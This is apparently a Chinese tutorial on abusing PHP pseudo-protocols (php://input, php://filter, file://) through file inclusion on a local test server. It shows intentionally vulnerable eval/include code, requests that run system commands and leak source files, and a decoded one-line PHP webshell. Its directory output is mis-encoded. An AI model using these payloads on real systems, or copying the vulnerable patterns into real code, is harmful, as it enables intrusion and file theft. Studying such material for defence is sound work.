php反序列化
php伪协议
php://input可以读取以post方式提交的内容,通常和文件包含放在一起使用。
现在我们创建一个文件aa.php里面的代码如下。
<?php
@$bb="";
@$bb=file_get_contents($_GET["aa"]);
echo $bb;
?>
file_get_contents()这个函数表示将一个文件的内容读入一个字符串中
我们使用hackbar来构造请求为http://localhost/aa.php?aa=php://input并在post data里面传入任意字符串例如我们传入hello world 然后运行,这时我们便可以看到我们的页面上显示出了hello world。这是因为使用php://input为协议可以读取post内的内容(文件上传除外).
上面这个例子好像没有什么危害,但是我们可以更改一下aa.php的内容如下
<?php
@eval(file_get_contents($_GET["aa"]));
?>
使用http://localhost/aa.php?aa=php://input进行请求,并且post里面的数据为system(dir);,这时我们便可以查看当前的目录了,返回的结果为
Çý¶¯Æ÷ E ÖеľíûÓбêÇ©¡£ ¾íµÄÐòÁкÅÊÇ 0CAC-06A4 E:\studyapp\WampServer\wamp\wamp64\www µÄĿ¼ 2019/03/31 20:13
. 2019/03/31 20:13
.. 2019/03/31 20:13
432 2019/04/09 20:00 55 aa.php 2016/08/16 18:02 18,009 add_vhost.php 2019/03/31 20:11 73 bb.php 2010/12/31 09:40 202,575 favicon.ico 2016/08/16 18:03 30,117 index.php 2019/03/24 16:07
sqli-labs-master 2016/05/17 15:58 528 testmysql.php 2015/09/21 17:30 742 test_sockets.php 2019/03/24 16:01
wamplangues 2019/03/24 16:01
wampthemes 2019/03/31 18:31
yr43ubf 2019/03/31 18:31
yreubf 7 ¸öÎļþ 252,099 ×Ö½Ú 8 ¸öĿ¼ 9,694,109,696 ¿ÉÓÃ×Ö½Ú
可以看出返回了当前的目录,我们可以更改system(参数);里面的参数,可以执行创建文件和删除文件等等命令。
php://filter的利用,这个协议通常用来读取文件的源代码,通过base64加密,显示出来,然后解密便可以读取文件的源代码,通常和文件包含结合使用,现在我们创建一个aa.php来验证一下我们的漏洞。
aa.php代码如下
<?php
@include($_GET["aa"]);
?>
返回的内容如下
PD9waHANCg0KLy8kX1BPU1RbImFhIl0oJF9HRVRbImNjIl0pOw0KQCRfUE9TVFsnbGFuZyddKCRfR0VUWydhJ10pOw0KDQo/Pg==
这是一段base64编码的一串字符串,我们使用base64进行解密为
<?php
//$_POST["aa"]($_GET["cc"]);
@$_POST['lang']($_GET['a']);
?>
因此通过这种方式便可以读取我们的源代码。
file:// [文件的绝对路径和文件名] 伪协议可以和文件包含结合,可以使用绝对路径来读取本地文件,获取目标主机的一些信息。
创建aa.php代码如下
<?php
@include($_GET["aa"]);
?>
使用http://localhost/aa.php?aa=file://E:/studyapp/WampServer/wamp/wamp64/www/aa.txt来请求主机,返回aa.txt里面的内容为:
you are successful
使用这个方式需要知道目标主机的路径。
最后再分享一个不死马: